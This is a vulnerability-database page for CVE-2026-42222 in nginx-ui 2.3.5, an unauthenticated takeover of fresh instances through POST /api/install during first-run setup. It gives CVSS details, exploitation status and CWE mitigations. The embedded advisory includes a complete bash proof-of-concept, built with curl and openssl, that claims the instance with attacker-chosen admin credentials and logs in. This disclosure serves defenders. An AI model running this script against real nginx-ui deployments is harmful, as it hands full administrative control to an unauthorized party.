CVE-2026-42222VulnerabilityPublished 6 May 2026

github.com/0xJacky/nginx-ui · Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover

Affects github.com/0xJacky/nginx-uiSource GCVE Database

Authoritative record:CVE-2026-42222· High 8.1

Not known to be exploited · CVSS 8.1 High.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 3.1 base score

8.1High

How severe the flaw is on the 0–10 CVSS scale.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector: Network
Attack Complexity: High
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: High: A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. For example, a successful attack may require an attacker to: gather knowledge about the environment in which the vulnerable target/component exists; prepare the target environment to improve exploit reliability; or inject themselves into the logical network path between the target and the resource requested by the victim in order to read and/or modify network communications (e.g., a man in the middle attack).
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 4 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Affected software

Product	Affected	Fixed in
Gogithub.com/0xJacky/nginx-ui	Affected =2.3.5	Fixed in–

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Description

## Summary An unauthenticated bootstrap takeover exists in `nginx-ui` during the initial installation window exposed by `POST /api/install`. When the instance is still uninitialized, `POST /api/install` is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator. This is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows. The primary attack path is direct network access to a reachable fresh instance.[^cors] This was reproduced over HTTP against live local instances started from `nginx-ui` `v2.3.5` using Docker image `uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a` (`org.opencontainers.image.version=2.3.5`, revision `1a9cd29a308278173aa0f16234cb78061dd2bd42`). ## Impact This issue allows full unauthenticated takeover of a fresh `nginx-ui` instance during the initial installation window. The practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves. In live testing, the attacker was able to: - confirm that the target was still uninitialized - submit attacker-chosen bootstrap credentials - lock the installation under attacker control - immediately authenticate as the newly set administrator Observed values during live reproduction included: ```text INSTALL_BEFORE={"lock":false,"timeout":false} INSTALL_POST={"message":"ok"} INSTALL_AFTER={"lock":true,"timeout":false} LOGIN_RESPONSE={"message":"ok","code":200,...,"short_token":"qIJAE3dQMm3afhaV"} ``` Because the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves. ## PoC The following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only `bash`, `curl`, and `openssl`. Standalone PoC: ```bash #!/usr/bin/env bash set -euo pipefail base_url="http://127.0.0.1:9000" email="poc2@nginxui.test" username="pocverify2" password="Passw0rd123" tmpdir="$(mktemp -d)" trap 'rm -rf "$tmpdir"' EXIT install_before="$(curl -fsS "${base_url}/api/install")" printf 'INSTALL_BEFORE=%s\n' "$install_before" key_json="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \ "${base_url}/api/crypto/public_key")" key_escaped="$(printf '%s' "$key_json" | sed -n 's/.*"public_key":"$.*$","request_id".*/\1/p')" printf '%b' "$key_escaped" > "${tmpdir}/public_key.pem" openssl rsa -RSAPublicKey_in -in "${tmpdir}/public_key.pem" -pubout -out "${tmpdir}/public_key_spki.pem" >/dev/null 2>&1 printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json" encrypted_install="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/install.json" \ | openssl base64 -A )" install_post="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encrypted_params\":\"${encrypted_install}\"}" \ "${base_url}/api/install")" printf 'INSTALL_POST=%s\n' "$install_post" install_after="$(curl -fsS "${base_url}/api/install")" printf 'INSTALL_AFTER=%s\n' "$install_after" printf '{"name":"%s","password":"%s","otp":"","recovery_code":""}' "$username" "$password" > "${tmpdir}/login.json" encrypted_login="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/login.json" \ | openssl base64 -A )" login_response="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encrypted_params\":\"${encrypted_login}\"}" \ "${base_url}/api/login")" printf 'LOGIN_RESPONSE=%s\n' "$login_response" ``` Observed output during live verification: ```text INSTALL_BEFORE={"lock":false,"timeout":false} INSTALL_POST={"message":"ok"} INSTALL_AFTER={"lock":true,"timeout":false} LOGIN_RESPONSE={"message":"ok","code":200,"token":"<redacted>","short_token":"qIJAE3dQMm3afhaV"} ``` ## Steps to Reproduce 1. Start a fresh local `nginx-ui` `v2.3.5` instance from the tested Docker image digest with empty `/etc/ng

CWE-284Improper Access Control (opens in a new tab)
Pillar weaknessCWE Top 25 (2025): #19OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
MITRE discourages mapping vulnerabilities to this broad entry; the root cause is usually a more specific weakness.
Architecture and Design · Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Architecture and Design · Separation of Privilege
Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
OWASP Cheat Sheets
Docker Security (opens in a new tab)
Third Party Javascript Management (opens in a new tab)
Virtual Patching (opens in a new tab)
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V1.4.4 (opens in a new tab)
V1.4.5 (opens in a new tab)
V1.10.1 (opens in a new tab)
Attack patterns
Embedding Scripts within Scripts (opens in a new tab)
Modification of Windows Service Configuration (opens in a new tab)
Malicious Root Certificate (opens in a new tab)
Intent Spoof (opens in a new tab)
WebView Exposure (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-306Missing Authentication for Critical Function (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #21OWASP Top 10 A07:2025: Authentication Failures (opens in a new tab)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
Architecture and Design
Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks…
Architecture and Design
Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment.
OWASP Cheat Sheets
OWASP Authentication (opens in a new tab)
OWASP ASVS 4.0.3
V1.2.3 (opens in a new tab)
V1.2.2 (opens in a new tab)
V1.2.4 (opens in a new tab)
Attack patterns
Choosing Message Identifier (opens in a new tab)
Force the System to Reset Values (opens in a new tab)
Using Unpublished Interfaces or Functionality (opens in a new tab)
Cross Site Request Forgery (opens in a new tab)
Communication Channel Manipulation (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

Community reviews

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Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-284, CWE-306

Technical details

References

Community reviews

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